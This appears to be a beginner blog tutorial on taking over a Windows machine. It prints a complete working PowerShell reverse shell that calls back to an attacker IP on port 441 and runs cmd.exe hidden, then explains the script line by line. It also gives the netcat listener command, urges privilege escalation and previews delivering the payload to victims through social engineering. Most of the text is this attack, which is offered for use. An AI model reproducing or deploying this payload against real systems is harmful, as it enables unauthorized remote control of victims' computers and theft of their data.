Hacking isn’t the Hollywood fantasy you’ve seen — no glowing green gibberish flying across the screen, no skinny guy surrounded by energy drinks, typing three lines and screaming:
“I’m in.”
If that is what inspires you to become a hacker, then you need to rethink your path immediately.
The era of simple hacks based on weak passwords and sloppy scripts is long gone.
Today’s digital infrastructure is armored with advanced defenses, intelligent detection systems, and layered security protocols. Modern hackers either evolve… or they end up as loud, online commentators who talk more than they prove.
In this guide, we’re diving into a penetration-testing model that shows how attackers gain control of a Windows machine — step by step and in the real world.
Before we begin, here are the prerequisites:
- Kali Linux (Virtual Machine)
- Basic scripting knowledge (Python)
- Code Editor (Visual Studio Code)
Now, spin up your Kali Linux machine. Let’s get to work.
If this is your first time using Kali Linux, I wrote a guide to get you started here.
Once kali is up, check for your IP Address using the ifconfig commad.
Your IP address most likley would be at the eth0
Copy the address on your note pad.
Next lets edit our payload.
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
// Setup IPADDR
$address = '10.138.214.85'
// Setup PORT
$port = '441'
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 0; $i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 1
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
$string = $null}} else {cleanup}}
Before moving deeper into the subject, it’s important to pause for a moment and understand two ideas every hacker, penetration tester, or security learner eventually encounters: reverse shells and bind shells as this would explain the payload above.
Reverse Vs Bind Shell
They sound technical, even intimidating, but the core idea is actually simple. They both serve one purpose letting someone run commands on a remote machine, but both use diffrent machnism.
A bind shell is the old-school method. In a bind shell, the target machine is the one that opens a door. It creates a port, keeps it open, and waits patiently for someone to connect. You can imagine the target placing a ringing phone on the table and stepping back.
Anyone who knows the number can dial in and pick up the line. This used to work smoothly years ago when networks were open and firewalls weren’t as strict. But today, almost every machine hides behind routers, NAT, and security rules that block incoming connections.
That means even if the target opens the door, there’s a high chance you simply cannot reach it from the outside. This is why bind shells are now more of a learning concept than a practical everyday tool.
A reverse shell flips the entire direction. Instead of waiting for the attacker to connect, the target machine reaches outward and connects to the attacker’s system. It dials your number. That single change who connects to who, makes reverse shells extremely powerful.
Outbound traffic is rarely restricted, even in organizations with strong security. Most networks freely allow devices inside to connect out to the internet. Because of that, a reverse shell can slip through firewalls, bypass NAT, and establish a remote session even in places where a bind shell would fail instantly.
The easiest way to understand both is to think about who is calling who. A bind shell means you are calling the target. A reverse shell means the target calls you. Once the connection is made, both methods give you the same thing: a remote command-line session.
What differs is the path taken and the limitations of the environment. And for beginners stepping into cybersecurity, this understanding becomes the foundation for how payloads behave, why some work and others don’t, and how attackers navigate around blocked networks.
Understanding the Payload
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit
}
If something goes wrong or the connection drops:
- Close the TCP client
- Close the cmd.exe process
- Exit the script
Set the attacker IP & port
$address = '10.138.214.85'
$port = '441'
- This tells the script where to connect back to.
- That IP & port must be listening with Netcat or another handler.
Create TCP connection
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
- Creates a TCP client object.
- Connects out to your listener.
- Gets the stream for reading/writing data.
Prepare a buffer
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
– Creates a byte array to store data received from you.
5. Spawn cmd.exe
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
This:
- Launches cmd.exe silently (no window)
- Redirects:
- Input → you will send commands
- Output → the script will send results back to you
Prepare input and output streams
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
- These allow reading/writing to the cmd.exe session.
Encoding
$encoding = new-object System.Text.AsciiEncoding
- Converts between bytes and text (ASCII).
Send initial output of cmd.exe
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
- cmd.exe usually prints some text on startup.
- This sends it across the network to your listener.
Main reverse-shell loop
This part repeats forever until something breaks.
Next we are going to set up our listerner, nc comes with linux so you can just start it with nc -lvp 441
Next, we are going to set up our listener. nc comes with Linux, so you can just start it with nc -lvp 441.
This would open a listener on your machine as the attacker, and we will be listening on port 441; you can use whatever port you are comfortable with.
Getting your payload to the victim machine would be a topic in itself, but we will focus on hacking the Windows system.
Ensure you update the IP to your current IP before implementing the payload, and then run it via VS Code.
Run it.
Once true, the reverse shell is established, and on your Kali, you will see that you are on the Windows machine.
Go ahead and escalate your privilege.
In my next article, I will be working on using social engineering to transfer the payload. I will be exploiting tools like setoolkit and Metasploit.
If you enjoyed this story, consider joining our mailing list. We share real stories, guides, and curated insights on web development, cybersecurity, blockchain, and cloud computing, no spam, just content worth your time.







